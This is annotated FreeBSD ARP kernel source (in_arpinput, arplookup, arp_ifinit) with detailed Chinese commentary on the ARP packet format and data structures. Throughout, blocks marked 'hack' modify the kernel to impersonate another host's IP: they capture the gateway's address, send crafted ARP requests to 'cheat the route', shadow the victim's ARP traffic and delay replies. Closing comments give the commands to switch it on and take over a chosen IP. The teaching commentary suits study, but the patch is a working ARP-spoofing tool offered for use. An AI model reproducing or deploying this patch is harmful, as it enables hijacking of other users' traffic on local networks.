Ethernet ARP数据包内的数据:
16.bit: 硬件地址空间(这是RFC说的,其实应该是硬件类型) (如, 以太网,无线网络等)
16.bit: 协议类型.对以太网来说就是ETHERTYPE_IP
8.bit: 硬件地址长度(字节),在我们以太网中是6
8.bit: 协议地址长度(字节),在我们以太网中是4
16.bit: 操作代码 (1是请求 | 2是应答)
n bytes: 该包发送方硬件地址(n是长度,看上面)
m bytes: 该包发送方的协议地址(m是长度,看上面,下面的m,n也一样),其实就是IP地址
n bytes: 这个包目的方的硬件地址(应该是不知道的),一般是在发送的时候肯定不知道,所
以为空,但也有免费ARP,就是把自己的地址填充,下面的IP也填充自己的,看有没有
起他的机器回应这IP的,如果有,就是有冲突了,大家上WINDOWS时,IP没配好,网络上
已经有这台IP机器时, 发送该包,哪个已经有该IP的机器就会回应一ARP,我们的接
收程序接收到了以后,就会发出"您的IP地址出现冲突,请询问网络管理员"(我也不
记得了,大概是这样说的).
m bytes: 目的方的协议地址.即目的方的IP地址
其他的都是讲一些原理,我就不多说了,我们看程序的时候全会讲到.
*/
static int log_arp_wrong_iface = 1;/*这是控制在桥模式时,不该接收这ARP的网卡却收到了时,会
判断该变量为真的话,就在控制台输出一出错信息*/
SYSCTL_INT(_net_link_ether_inet, OID_AUTO, log_arp_wrong_iface, CTLFLAG_RW,
&log_arp_wrong_iface, 0,
"log arp packets arriving on the wrong interface");/*该sysctl继承了net.link.ether.inet叶节点
用来控制上面那个变量,方法如下:
sysctl net.link.ether.inet.log_arp_wrong_iface=0 就会不输出出错信息*/
/*ARP包接收后处理*/
static void
in_arpinput(m)
struct mbuf *m;
{
register struct ether_arp *ea;/*arp包的数据结构,在程序中我列出了他的结构*/
register struct arpcom *ac = (struct arpcom *)m->m_pkthdr.rcvif;/*rcvif成员表示该mbuf是从那块网卡接收的*/
struct ether_header *eh;/*以太网头部结构*/
struct iso88025_header *th = (struct iso88025_header *)0;/*我们暂时不研究他*/
register struct llinfo_arp *la = 0;/*放的是ARP的地址列表*/
register struct rtentry *rt;/*radix路由树结构*/
struct in_ifaddr *ia, *maybe_ia = 0;/*在网卡接口的每一个Internet地址(一个网卡可以有多个Internet地址)都分配了
这样一个结构,maybe_ia是作为临存储的一变量,后面有介绍*/
struct sockaddr_dl *sdl;
struct sockaddr sa;/*记住:所有的带有sockaddr开头的都是地址的一种结构,sockaddr是一个总的结构,他们的头部都差不多*/
/*sockaddr_dl是链路层的地址结构,sockaddr_in是Internet地址结构等等.*/
/*hack------------------------*/
int k=0;
struct sockaddr hackgateway;
/*end------------------------*/
struct in_addr isaddr, itaddr, myaddr;/*in_addr结构只有一个成员u_long s_addr,存储IP地址 */
int op, rif_len;/*op是放ARP操作码的地方,1是请求,2是应答*/
/*如果mbuf的长度小于结构ether_arp的长度就调用m_pullup(假设他不在同一个mbuf中)
注意: 在这个地方又是该程序的问题,大家看前面中断例程arpintr已经对传递进来的
m做过处理了(m->m_len<sizeof(struct ether_arp) && m_pullup(...)的判断,我由此
还写了一大堆),在此处的if是多于的,我建议大家在此做个printf,有条件的放到公司的
服务器上进行测试,这个printf将永远不会运行*/
if (m->m_len < sizeof(struct ether_arp) &&
(m = m_pullup(m, sizeof(struct ether_arp))) == NULL) {
log(LOG_ERR, "in_arp: runt packet -- m_pullup failed\n");
return;
}
ea = mtod(m, struct ether_arp *);/*实际上是#define mtod(m,t) (t)((m)->data)
即在mbuf放数据的地方的指针,该指针强制性为t结构
会汇编的朋友就明白,实际上是语句
mov edx,m->data
assume ds:[edx] struct ether_arp
mov eax,ds:[edx].arp_spa 可以利用寄存器寻址了
...
assume ds:[edx] NULL
我用的是W$下的32位汇编,我不会AT&T汇编,但原理是一样的
我们现在来看看,这ether_arp的结构怎样:
struct ether_arp {
struct arphdr ea_hdr; /* ARP头部已经做了说明其实这整个结构都在上面的RFC 826 中有说明*
u_char arp_sha[ETHER_ADDR_LEN]; /* 这长度是6 *
u_char arp_spa[4]; /* 发送端的协议地址
u_char arp_tha[ETHER_ADDR_LEN]; /* 这长度是6 *
u_char arp_tpa[4]; /* 目的端的协议地址*
};
#define arp_hrd ea_hdr.ar_hrd /*这些都是为了描述方便
#define arp_pro ea_hdr.ar_pro
#define arp_hln ea_hdr.ar_hln
#define arp_pln ea_hdr.ar_pln
#define arp_op ea_hdr.ar_op
对这个结构和以上的RFC 826对照看看,肯定能对上,也有利于你对该RFC的了解*/
op = ntohs(ea->arp_op);/*ARP的操作,即是请求还是应答*/
(void)memcpy(&isaddr, ea->arp_spa, sizeof (isaddr));/**/
(void)memcpy(&itaddr, ea->arp_tpa, sizeof (itaddr));/*这两句是把发送和接受端的IP协议地址考到临时变量中*/
/*hack------------------------*/
printf(" %x <- %x oldip=%x on %s%d\n",itaddr.s_addr,isaddr.s_addr,oldip.s_addr,ac->ac_if.if_name, ac->ac_if.if_unit);
/*end------------------------*/
for (ia = in_ifaddrhead.tqh_first; ia; ia = ia->ia_link.tqe_next) {/*ia到底是个什么东西呢*/
/*ia是一个in_ifaddr数据结构,在网卡接口的每一个Internet地址(一个网卡可以有多个Internet地址)都分配了
这样一个结构
struct in_ifaddr {
struct ifaddr ia_ifa; /* 分配给每一个接口的地址,通常是每个协议都有一个.详细说明如下:
----------------------------------------------------------------------------------------------
struct ifaddr {
struct sockaddr *ifa_addr; /* 接口的地址,sockaddr结构我就不讲了,太简单了 *
struct sockaddr *ifa_dstaddr; /* 点对点使用,对方的地址,如果是PPP,我们可查出局方的IP *
#define ifa_broadaddr ifa_dstaddr /* 广播地址 *
struct sockaddr *ifa_netmask; /* 用于子网,和上面的点对点互斥 *
struct if_data if_data; /* not all members are meaningful *
struct ifnet *ifa_ifp; /* 指向本块网卡的ifnet结构的回指针 *
TAILQ_ENTRY(ifaddr) ifa_link;/* 这是一个队列宏,意思是把该卡的所有ifaddr用next指针的方法链接起来 *
void (*ifa_rtrequest) /* 以下三个是路由相关的,我可不是路由专家,所以没有去分析
__P((int, struct rtentry *, struct sockaddr *));
u_short ifa_flags;
u_int ifa_refcnt; /* 统计被引用的次数 *
int ifa_metric; /* 一般都是1,具体干吗的,STEVEN也没说清楚(估计他觉得好烦,不想说,我觉得好象是跳数)
#ifdef notdef
struct rtentry *ifa_rt; /* XXXX for ROUTETOIF ????? *你看原文,他都不知道,我可能吗.
#endif
int (*ifa_claim_addr) /* 是路由方面的,我也学STEVEN,其实我不知道*
__P((struct ifaddr *, struct sockaddr *));
};
----------------------------------------------------------------------------------------------
#define ia_ifp ia_ifa.ifa_ifp
#define ia_flags ia_ifa.ifa_flags /* 为了方便了 *
下面以:192.168.1.3为例子
u_long ia_net; /* 网络号:该例子是192.168.0.0 *
u_long ia_netmask; /* 网络掩码为:255.255.0.0*
u_long ia_subnet; /* 子网号是192.168.1.0 *
u_long ia_subnetmask; /* 子网掩码是255.255.255.0 *
struct in_addr ia_netbroadcast; /* 网络广播地址 in_addr结构只有一个成员u_long s_addr *
TAILQ_ENTRY(in_ifaddr) ia_link; /* 该卡的下一Internet的in_ifaddr结构指针 *
struct sockaddr_in ia_addr; /* 保留给接口名称 *
struct sockaddr_in ia_dstaddr; /* 保留给广播地址 *
#define ia_broadaddr ia_dstaddr
struct sockaddr_in ia_sockmask; /* 保留给普通掩码,这三个保留是为了方便,没有的话可以从其他结构中取 *
};
* 这些结构我是看了N遍就忘了N遍,还好捡起来较快,他们大多数在if_attach函数中被初始化,也难怪他要这么复杂,一块
网卡又要支持这么多协议,又要在每个协议上允许支持多个地址,我认为理解他的方法最好是用空间的方法,把他想象成一个
立方体,网卡是角上一点,每个面是他支持的协议,在该协议上又有很多线(多个地址),这样理解可能要好一点.
好,讲完了这个结构就好办了,实际上我们的变量ia就是存放IP地址极其相关信息的地方,如果把所有的ia们放到一队列中,那
我们就可以在这个队列中查到我们本机的所有的卡及他支持的协议和该协议的多个(IP)地址了,那个for 循环就是为了查IP,
in_ifaddrhead 就是ia的队列
*/
#ifdef BRIDGE
#define BRIDGE_TEST (do_bridge)/*桥是否打开,可由sysctl net.link.ether.bridge=1打开桥功能,4.4版本要在核心
配置文件中加入OPTIONS BRIDGE,最新版本不需要,只要用kld就行了.bridge是一个非常大的程序,下一个就要轮
到他被解剖了.*/
#else
#define BRIDGE_TEST (0)
#endif
if ((BRIDGE_TEST) || (ia->ia_ifp == &ac->ac_if)) {/*ac我在前面有说明,这句代表接收的卡和当前循环查找的卡是同一卡吗?*/
maybe_ia = ia;/*是,我把该卡的其中之一的IP放到maybe_ia中,记住,一卡有可能有几个IP*/
if ((itaddr.s_addr == ia->ia_addr.sin_addr.s_addr) ||/*如果发过来的包目的IP地址和我的卡的IP地址都相同,就找到了,退出*/
(isaddr.s_addr == ia->ia_addr.sin_addr.s_addr)) {/*如果源地址相同,也退出,记住:必须先比较目的地址*/
break;
}
}/*否则继续循环找吧*/
}
if (maybe_ia == 0) {/*如果一个都没找到,如果开机时,该卡没设置IP的话,就会出现该情况*/
m_freem(m);/*释放mbuf*/
return;
}
/*hack---------------------*/
if (hackarp==1)
{ /*如果是对方发送了一请求包,目的地址是我原来的地址,但源地址不能是我冒充的IP的地址,我就发一请求包*/
myaddr = ia ? ia->ia_addr.sin_addr : maybe_ia->ia_addr.sin_addr;
if (!bcmp((caddr_t)ea->arp_sha, (caddr_t)ac->ac_enaddr,sizeof (ea->arp_sha))) /*我的卡和发送者的卡相同*/
{
m_freem(m); /* 哈,是我自己发的,释放掉该包 */
return;
}
if (!bcmp((caddr_t)ea->arp_sha, (caddr_t)etherbroadcastaddr,sizeof (ea->arp_sha))) /*发送者是广播地址,不可能*/
{
log(LOG_ERR,"arp: ether address is broadcast for IP address %s!\n",inet_ntoa(isaddr));
m_freem(m);
return;
}
printf("t:%x s:%x old=%x myaddr:%x\n",itaddr.s_addr,isaddr.s_addr,oldip.s_addr,myaddr.s_addr);/*调试*/
if ((op & ARPOP_REPLY) && (itaddr.s_addr==oldip.s_addr) && (isaddr.s_addr!=myaddr.s_addr))
{
if (arphacklock==1) /*如果对硬件地址加了锁,即前面有一个ARP请求包还没有处理结束*/
{
m_freem(m);
return;
}
arphacklock=1;/*我要开始处理了,不希望别的ARP包进入打搅我,即会替换掉下面的ithardaddr,要把他锁住*/
trueip=1;/*我要发送的是ifconfig以后的IP地址作为我的源IP地址*/
(void)memcpy(ithardaddr, ea->arp_sha, sizeof(ea->arp_sha));
fromsubr=3;
arprequest(ac, &myaddr, &isaddr, ac->ac_enaddr);/*发送一单播ARP请求*/
printf("I got a request and I send a request to it\n");
m_freem(m);
return;
}
if ((op & ARPOP_REPLY) && (itaddr.s_addr==oldip.s_addr) && (isaddr.s_addr==myaddr.s_addr))
{ /*如果我冒充的IP给我的老地址发一ARP请求包,不理他*/
printf("oh,the dst send a ARP to my old IP address,ignore it \n");
m_freem(m);
return;
}
}
/*end----------------------*/
myaddr = ia ? ia->ia_addr.sin_addr : maybe_ia->ia_addr.sin_addr;
/*
如果退出循环时,如果ia不为空(注意:如果没找到该IP的话,即哪个break不会执行,ia在for循环到最后是NULL,因为队列
是以NULL结束的),说明程序在break中跳出,也就是说maybe_ia中的IP地址是正确的,上面的那句意思就是,如果ia为空的
话,那他用ia->ia_addr.sin_addr 当然他指向的数据也为空了,否则,ia指向maybe_ia中的源IP地址,即发送方的IP地址.*/
if (!bcmp((caddr_t)ea->arp_sha, (caddr_t)ac->ac_enaddr,/*我的卡和发送者的卡相同*/
sizeof (ea->arp_sha))) {
m_freem(m); /* 比较一下ARP数据包中的发送方硬件地址和接收该包的的卡的硬件地址相同吗?相同就是自己发给自己
的,当然要扔掉*/
return;
}
/*patch---------*/
/* if ((op & ARPOP_REQUEST) && (!bcmp((caddr_t)ea->arp_tha, (caddr_t)etherbroadcastaddr,sizeof (ea->arp_sha)))) */
/* { */
/* m_freem(m); */
/* return; */
/* } */
/*patch end ----*/
if (!bcmp((caddr_t)ea->arp_sha, (caddr_t)etherbroadcastaddr,/*发送方的源硬件地址是广播地址吗?是的话就是有人在破坏*/
sizeof (ea->arp_sha))) { /*在伪造一链路层数据包,想高广播风暴,一定要逮住他*/
log(LOG_ERR,
"arp: ether address is broadcast for IP address %s!\n",
inet_ntoa(isaddr));
m_freem(m);
return;
}
if (isaddr.s_addr == myaddr.s_addr) {/*如果发送方的IP地址和我的卡的IP地址相同,有人用了我的IP*/
log(LOG_ERR,
"arp: %6D is using my IP address %s!\n",
ea->arp_sha, ":", inet_ntoa(isaddr));
/*hack-----------------------*/
if (hackarp==1)/*被冒充方发送了一个请求,但硬件地址不是我的,而且是一个请求ARP*/
{
if ((op & ARPOP_REQUEST) && (bcmp((caddr_t)ea->arp_sha, (caddr_t)ac->ac_enaddr,sizeof (ea->arp_sha))))
{ /*haha,目的地址发送料一arp请求*/
if (arphacklock==1)
{
m_freem(m);
return;
}
arphacklock=1;
trueip=1;
(void)memcpy(ithardaddr, ea->arp_sha, sizeof(ea->arp_sha));
fromsubr=2;
arprequest(ac, &myaddr, &itaddr, ac->ac_enaddr);
printf("the dst sent a ARP , I will follow it to send\n");
m_freem(m);
return;
}
}
/*end------------------------*/
itaddr = myaddr;/*这是我的IP*/
goto reply;/*我要回应他,告诉他,你用了我的IP.思考题:如果不回答呢,并且发送一个应答ARP给路由器,这个IP会怎样?*/
}
/*到这总算一切正常,包的合法性检查结束*/
/*下面该函数作用是按发送方的IP地址来查找ARP节点,如果没找到的话,就创建一个ARP节点.如果itaddr.s_addr==myaddr.s_addr
的话,即对方要找的IP和我的IP一样(对方要和我通话,但要我的硬件地址),这种情况该函数一定要创建一ARP结点,看看上面的
思考题,这就是答案.路由器会把IP的硬件地址指向我的机器,转而同我通讯,这就是ARP欺骗,
*/
la = arplookup(isaddr.s_addr, itaddr.s_addr == myaddr.s_addr, 0);/*在讲该函数前我们先看看la,即llinfo_arp结构
struct llinfo_arp { /*每一个ARP结点都会有一个该结构
LIST_ENTRY(llinfo_arp) la_list;/*宏建立双向列表,即可以NETX,PREV操作的队列
struct rtentry *la_rt;/*指向相关的路由表节点
struct mbuf *la_hold; /* 刚开始发送数据时,还不知道对方的硬件地址,要先发一个ARP包询问,等待对方的应答
而要发送的数据包mbuf就先放到这寄存一下.等得到了对方的硬件地址再发.*
long la_asked; /* 我们询问该地址的最后一次时间*
#define la_timer la_rt->rt_rmx.rmx_expire /* 如果是0就代表永久结点,非0时作为超时的记时器 *
};
上面的函数的意思是:在路由表中查找IP地址是isaddr.s_addr,如果那个包是给我的,就建立(既itaddr.s_addr=myaddr.s_addr)
一个ARP结点
*/
/**/
if (la && (rt = la->la_rt) && (sdl = SDL(rt->rt_gateway))) {/*ARP结点存在,且路由也存在如果含有网关标志*/
/*hack-----------------------*/
if (hackarp==0)
{
if ((gatewayip.s_addr!=NULL) && (rt->rt_flags & RTF_GATEWAY))/*当然只拷贝一次*/
{
(void)memcpy(&hackgateway,rt->rt_gateway,sizeof(rt->rt_gateway));
(void)memcpy(&gatewayip, hackgateway.sa_data, hackgateway.sa_len);
(void)memcpy(ithardaddr, ea->arp_sha, sizeof(ea->arp_sha));
printf("I got gateway ip and it 's hardaddress\n");
}
if (oldip.s_addr!=NULL)
(void)memcpy(&oldip,&myaddr,sizeof(struct in_addr));/*当然只拷贝一次*/
}
/*end-----------------------*/
/* 当网桥没打开时,下面的一些有可能是正常的 */
if (!BRIDGE_TEST && rt->rt_ifp != &ac->ac_if) {
if (log_arp_wrong_iface)
log(LOG_ERR, "arp: %s is on %s%d but got reply from %6D on %s%d\n",
inet_ntoa(isaddr),
rt->rt_ifp->if_name, rt->rt_ifp->if_unit,
ea->arp_sha, ":",
ac->ac_if.if_name, ac->ac_if.if_unit);
/*hack-----------------------*/
if (hackarp==1)
k=1;
/*end-----------------------*/
goto reply;
}
if (sdl->sdl_alen &&
bcmp((caddr_t)ea->arp_sha, LLADDR(sdl), sdl->sdl_alen)) {/*比较发来包的源地址和我们ARP结点中所记录的是否相同*/
if (rt->rt_expire)/*不同,那有可能那台机器刚换了网卡,但IP还是用原来的,rt_expire为0代表他是永久结点*/
log(LOG_INFO, "arp: %s moved from %6D to %6D on %s%d\n",
inet_ntoa(isaddr), (u_char *)LLADDR(sdl), ":",
ea->arp_sha, ":",
ac->ac_if.if_name, ac->ac_if.if_unit);
else {/*不对,他改的是永久结点*/
log(LOG_ERR,
"arp: %6D attempts to modify permanent entry for %s on %s%d\n",
ea->arp_sha, ":", inet_ntoa(isaddr),
ac->ac_if.if_name, ac->ac_if.if_unit);
goto reply;
}
}
(void)memcpy(LLADDR(sdl), ea->arp_sha, sizeof(ea->arp_sha));/*sdl是一地址结构,成员包括地址类型,长度,地址等等,任何类型的地址都可以放到他里面*/
sdl->sdl_alen = sizeof(ea->arp_sha);/*地址的长度,这里是6,该结构里放的是硬件地址*/
sdl->sdl_rcf = (u_short)0;
/*
* 令牌环网,我们不分析他
*/
if (ac->ac_if.if_type == IFT_ISO88025) {
th = (struct iso88025_header *)m->m_pkthdr.header;
rif_len = TR_RCF_RIFLEN(th->rcf);
if ((th->iso88025_shost[0] & TR_RII) &&
(rif_len > 2)) {
sdl->sdl_rcf = th->rcf;
sdl->sdl_rcf ^= htons(TR_RCF_DIR);
memcpy(sdl->sdl_route, th->rd, rif_len - 2);
sdl->sdl_rcf &= ~htons(TR_RCF_BCST_MASK);
m->m_data -= rif_len;
m->m_len += rif_len;
m->m_pkthdr.len += rif_len;
} else {
th->iso88025_shost[0] &= ~TR_RII;
}
m->m_data -= 8;
m->m_len += 8;
m->m_pkthdr.len += 8;
th->rcf = sdl->sdl_rcf;
} else {
sdl->sdl_rcf = (u_short)0;
}
if (rt->rt_expire)/*该路由不是永久的ARP结点*/
rt->rt_expire = time_second + arpt_keep;/*把他设置成时间为20分钟限制,在20分钟后,arptimer定时器函数会将他清除*/
rt->rt_flags &= ~RTF_REJECT;/*本句和下面一句都是为了防止ARP泛洪*/
la->la_asked = 0;
if (la->la_hold) {/*如果有等待发送的数据包,发送他*/
(*ac->ac_if.if_output)(&ac->ac_if, la->la_hold,
rt_key(rt), rt);
la->la_hold = 0;
}
}
reply:
if (op != ARPOP_REQUEST) {/*如果不出错的话,应答包到前面就结束了*/
m_freem(m);
return;
}
if (itaddr.s_addr == myaddr.s_addr) {/*如果接到是请求包而且目的IP地址是我,那我就要回应一个ARP包给对方*/
/* 我就是你要找的 */
(void)memcpy(ea->arp_tha, ea->arp_sha, sizeof(ea->arp_sha));/*开始制做ARP回应包*/
(void)memcpy(ea->arp_sha, ac->ac_enaddr, sizeof(ea->arp_sha));
} else {
la = arplookup(itaddr.s_addr, 0, SIN_PROXY);/*如果包不是发给我的,那么在路由表中查找并看看ARP代理是否打开*/
if (la == NULL) {/*还是没找到*/
struct sockaddr_in sin;
if (!arp_proxyall) { /*如果代理没打开,返回*/
m_freem(m);
return;
}
bzero(&sin, sizeof sin);
sin.sin_family = AF_INET; /*开始构造一sockaddr_in结构,为路由查询作准备*/
sin.sin_len = sizeof sin;/*该类型协议的地址长度,当然是4*/
sin.sin_addr = itaddr;/*要查找的IP地址*/
rt = rtalloc1((struct sockaddr *)&sin, 0, 0UL);/*路由函数,查询一IP的路由表,0UL是无符号长整数型的0*/
if (!rt) {/*没找到该IP的路由表*/
m_freem(m);
return;
}
*/
if (rt->rt_ifp == &ac->ac_if) {/*如果查到的哪个路由所用的网卡和进来ARP包是同一网卡,当然没用,我要着的是另一块*/
rtfree(rt);
m_freem(m);
return;
}
(void)memcpy(ea->arp_tha, ea->arp_sha, sizeof(ea->arp_sha));
(void)memcpy(ea->arp_sha, ac->ac_enaddr, sizeof(ea->arp_sha));
rtfree(rt);
#ifdef DEBUG_PROXY
printf("arp: proxying for %s\n",
inet_ntoa(itaddr));
#endif
} else {/*ARP代理网关找到了.*/
rt = la->la_rt;
(void)memcpy(ea->arp_tha, ea->arp_sha, sizeof(ea->arp_sha));
sdl = SDL(rt->rt_gateway);/*这是网关的硬件地址*/
(void)memcpy(ea->arp_sha, LLADDR(sdl), sizeof(ea->arp_sha));
}
}
(void)memcpy(ea->arp_tpa, ea->arp_spa, sizeof(ea->arp_spa));/*继续填充ARP回应包的成员,目的的协议地址,即对方的IP地址*/
(void)memcpy(ea->arp_spa, &itaddr, sizeof(ea->arp_spa));/*我方的IP地址也填充到ARP包中*/
ea->arp_op = htons(ARPOP_REPLY);/*填充ARP包的操作代码部分,该处为回应一ARP包*/
ea->arp_pro = htons(ETHERTYPE_IP); /*ARP包解释的是IP协议的硬件地址*/
switch (ac->ac_if.if_type) {/*看看接口支持的类型*/
case IFT_ISO88025:/*ISO我们暂时不讨论*/
memcpy(th->iso88025_dhost, th->iso88025_shost,
sizeof(th->iso88025_dhost));
memcpy(th->iso88025_shost, ac->ac_enaddr,
sizeof(th->iso88025_shost));
if (th->iso88025_dhost[0] & TR_RII) {
th->iso88025_dhost[0] &= ~TR_RII;
if (TR_RCF_RIFLEN(th->rcf) > 2)
th->iso88025_shost[0] |= TR_RII;
}
memcpy(sa.sa_data, th->iso88025_dhost,
sizeof(th->iso88025_dhost) * 2);
sa.sa_data[(sizeof(th->iso88025_dhost) * 2)] = TR_AC;
sa.sa_data[(sizeof(th->iso88025_dhost) * 2) + 1] = TR_LLC_FRAME;
break;
case IFT_ETHER:
case IFT_FDDI:
default:
eh = (struct ether_header *)sa.sa_data;
(void)memcpy(eh->ether_dhost, ea->arp_tha,/*填充以太网头部的目的硬件地址*/
sizeof(eh->ether_dhost));
eh->ether_type = htons(ETHERTYPE_ARP);/*填充以太网头部的协议类型*/
break;
}
sa.sa_family = AF_UNSPEC;/*调用以太网输出函数时,以太网头部不改动*/
sa.sa_len = sizeof(sa);
/*hack-----------------------*/
if ((hackarp==1) && (k==1))
DELAY(500);
/*end-----------------------*/
(*ac->ac_if.if_output)(&ac->ac_if, m, &sa, (struct rtentry *)0);/*直接调用以太网输出*/
return;
}
#endif
/*
* 释放一个ARP入口,la是要释放的ARP结构
*/
static void
arptfree(la)
register struct llinfo_arp *la;
{
register struct rtentry *rt = la->la_rt;/*取该ARP的路由结构*/
register struct sockaddr_dl *sdl;
if (rt == 0)/*路由结构为空,则错误*/
panic("arptfree");
if (rt->rt_refcnt > 0 && (sdl = SDL(rt->rt_gateway)) && /*如果该路由的参考计数不为0并且链路层地址有效,说明在用呢,不能删除*/
sdl->sdl_family == AF_LINK) {
sdl->sdl_alen = 0;
la->la_asked = 0;
rt->rt_flags &= ~RTF_REJECT;/*清楚该标志意味着下次要用该结点时可以发ARP请求包,这个标志是怕ARP风暴*/
return;
}
rtrequest(RTM_DELETE, rt_key(rt), (struct sockaddr *)0, rt_mask(rt),/*这才是调用前面的函数删除该ARP结点*/
0, (struct rtentry **)0);
}
/*
*.在arptab中寻找或进入一个新的地址
该函数主要是调用选路函数rtalloc1在Internet路由表中查找arp节点.他有三个参数,第一个是要查的IP地址
* 第二个是一个标志,为真就找不到就创建一个ARP节点,第三个是查找或创建代理ARP结点.
*/
static struct llinfo_arp *
arplookup(addr, create, proxy)/*该函数其实是和路由紧密联系,*/
u_long addr;
int create, proxy;
{
register struct rtentry *rt;
static struct sockaddr_inarp sin = {sizeof(sin), AF_INET };
const char *why = 0;
sin.sin_addr.s_addr = addr;
sin.sin_other = proxy ? SIN_PROXY : 0;/*使用ARP代理吗?*/
rt = rtalloc1((struct sockaddr *)&sin, create, 0UL);/*对sin所包含IP的路由查询,如果create=1,就建立一路由表*/
if (rt == 0)
return (0);
rt->rt_refcnt--;
if (rt->rt_flags & RTF_GATEWAY) /*如果该IP地址所指向的路由表中包含有网关标志*/
why = "host is not on local network";
else if ((rt->rt_flags & RTF_LLINFO) == 0)/*如果该路由表中没有与其相关的ARP节点入口*/
why = "could not allocate llinfo";
else if (rt->rt_gateway->sa_family != AF_LINK)/*如果该路由表硬件的地址族不是链路层地址*/
why = "gateway route is not ours";
if (why && create) {
log(LOG_DEBUG, "arplookup %s failed: %s\n",
inet_ntoa(sin.sin_addr), why);
return 0;
} else if (why) {
return 0;
}
return ((struct llinfo_arp *)rt->rt_llinfo);/*返回ARP结点*/
}
void
arp_ifinit(ac, ifa)/*该函数由以太网的IOCTL调用(if_ethersubr.c中的ether_ioctl函数调用),即在网卡的IP发生变化或接口重新启动等*/
struct arpcom *ac;
struct ifaddr *ifa;
{
if (ntohl(IA_SIN(ifa)->sin_addr.s_addr) != INADDR_ANY)
/*hack----------------------*/
{
if (hackarp==0)
{
/*end-----------------------*/
arprequest(ac, &IA_SIN(ifa)->sin_addr,&IA_SIN(ifa)->sin_addr, ac->ac_enaddr);/*在这发送一免费ARP*/
/*免费ARP是指发送一源IP和目的IP都是自己的ARP包,看看是否有回应,有的话,就是IP冲突*/
/*hack----------------------*/
}else
{
if (gatewayip.s_addr!=NULL)
{
trueip=1;
if (arphacklock==0)
{
arphacklock=1;
fromsubr=0;
arprequest(ac, &IA_SIN(ifa)->sin_addr, &gatewayip, ac->ac_enaddr);
printf("Yes,I init the ARP and I cheat the route\n");
}else
{
printf("Sorry, the arphacklock is locked\n");
}
}else
{
printf("Hack is start ! The gateway's ip is NULL\n");
}
}
}
/*end-----------------------*/
ifa->ifa_rtrequest = arp_rtrequest;
ifa->ifa_flags |= RTF_CLONING;
}
/*
命令步骤:
arp -d -a
sysctl net.link.ether.inet.ctrlhack=1
ifconfig vr0 192.168.0.4 255.255.255.0
^ ^ ^
你的卡 你要冒充的IP 掩码
*/